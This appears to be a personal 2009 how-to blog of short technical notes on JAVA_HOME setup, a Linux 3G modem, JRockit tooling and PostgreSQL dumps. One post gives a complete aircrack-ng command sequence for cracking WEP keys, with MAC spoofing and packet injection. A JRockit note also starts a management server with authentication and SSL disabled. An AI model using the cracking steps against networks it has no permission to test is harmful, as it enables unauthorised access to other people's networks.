wtorek, 29 grudnia 2009

JAVA_HOME and JRE_HOME environment variables

Windows 2000/XP

1. Open up the system properties (WinKey + Pause), selecting the "Advanced" tab, and the "Environment Variables" button.

2. In this dialog, make sure that JAVA_HOME exists in your user variables or in the system variables and it is set to the location of your JDK, e.g. C:\Program Files\Java\jdk1.5.0_02 and that %JAVA_HOME%\bin or %JRE_HOME% is in your Path environment variable. If not:

3. Add the JAVA_HOME environment variable by then adding the JAVA_HOME variable in the user variables with the value C:\Program Files\Java\jdk1.5.0_02. Be sure to omit any quotation marks around the path even if it contains spaces. Note: Also be sure that the JAVA_HOME doesn't have a '\' as last character.

4. In the same dialog, add the JRE_HOME environment variable in the user variables with the value %JAVA_HOME%\bin.

5. In the same dialog, update/create the Path environment variable in the user variables and prepend the value %JRE_HOME% to add Java available in the command line.

6. Open a new command prompt (Winkey + R then type cmd) and run
cd %JAVA_HOME%
to verify that it is correctly added.

środa, 25 listopada 2009

WEP cracking

Terminal 1

1. airmon-ng
2. airmon-ng stop (interface)
3. ifconfig (interface) down
4. macchanger --mac 00:11:22:33:44:55 (interface)
5. airmon-ng start (interface)
6. airodump-ng (interface)

7. airodump-ng -c (channel) -w (file name) -- bssid (bssid) (interface)

Terminal 2

8. aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)
9. aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
10. aircrack-ng -b (bssid) (file name-01.cap)

wtorek, 24 listopada 2009

Global 3G - connect to the internet using modem/mobile phone on Linux

I used Global 3G to initialize connection with Huawei E169.
Dont't wait until program stoped the non paid timer, just refresh the page and the connection should be working.

www.global3g.strony.pl

środa, 7 października 2009

JRockit Mission Control

To start JRockit Mission Control type

./jrmc

in ../jrockit_home/bin


Add new connection
host and port
or
JMX service URL: service:jmx:rmi:///jndi/rmi://host:port/jmxrmi


To start jrcmd type

./jrcmd -p

to see the port of procces (pid)

./jrcmd pid start_management_server port=7026 authenticate=false ssl=false

to stop teh server type

./jrcmd 27442 kill_management_server

czwartek, 1 października 2009

How to extract a PostgreSQL table into a file

In command line type:

funfin@funfin:~$ pg_dump -i -h data_base_host -t table_name -f file_name.sql dbname

Welcome

Welcome on my blog. For me ,this blog is something like 'Yellow pages', so I will mostly make posts a la 'Howto'.

I have hope that You will find somethig interesting here.

I really sorry for my English:)